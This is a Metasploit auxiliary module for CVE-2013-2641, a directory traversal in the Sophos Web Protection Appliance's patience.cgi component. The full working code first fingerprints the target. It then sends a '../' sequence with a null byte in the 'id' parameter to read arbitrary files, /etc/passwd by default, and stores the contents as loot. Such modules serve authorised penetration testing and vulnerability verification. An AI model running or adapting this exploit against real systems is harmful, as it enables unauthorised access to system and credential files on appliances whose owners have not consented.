##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
        'Description' => %q{
          This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
          on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
          Sophos Web Virtual Appliance v3.7.0.
        },
        'Author' => [
          'Wolfgang Ettlingers', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-2641' ],
          [ 'OSVDB', '91953' ],
          [ 'BID', '58833' ],
          [ 'EDB', '24932' ],
          [ 'URL', 'https://web.archive.org/web/20130603041204/http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
          [ 'URL', 'https://web.archive.org/web/20140701204340/https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
        ],
        'DefaultOptions' => {
          'SSL' => true
        },
        'DisclosureDate' => '2013-04-03',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'Traversal depth', 2])
      ]
    )
  end

  def my_basename(filename)
    return ::File.basename(filename.gsub(/\\/, '/'))
  end

  def is_proficy?
    res = send_request_cgi(
      {
        'uri' => '/cgi-bin/patience.cgi',
        'method' => 'GET'
      }
    )

    if res && (res.code == 307) && res.body =~ /The patience page request was not valid/
      return true
    else
      return false
    end
  end

  def read_file(file)
    travs = ''
    travs << '../' * datastore['DEPTH']
    travs << file
    travs << '%00'

    print_status('Retrieving file contents...')

    res = send_request_cgi(
      {
        'uri' => '/cgi-bin/patience.cgi',
        'method' => 'GET',
        'encode_params' => false,
        'vars_get' => {
          'id' => travs
        }
      }
    )

    if res && ((res.code == 200) || (res.code == 500)) && res.headers['X-Sophos-PatienceID']
      return res.body
    else
      print_status("#{res.code}\n#{res.body}")
      return nil
    end
  end

  def run
    print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
    if is_proficy?
      print_good('Check successful')
    else
      print_error('Sophos Web Protect Appliance vulnerable component not found')
      return
    end

    contents = read_file(datastore['FILEPATH'])
    if contents.nil?
      print_error('File not downloaded')
      return
    end

    file_name = my_basename(datastore['FILEPATH'])
    path = store_loot(
      'sophos.wpa.traversal',
      'application/octet-stream',
      rhost,
      contents,
      file_name
    )
    print_good("File saved in: #{path}")
  end
end
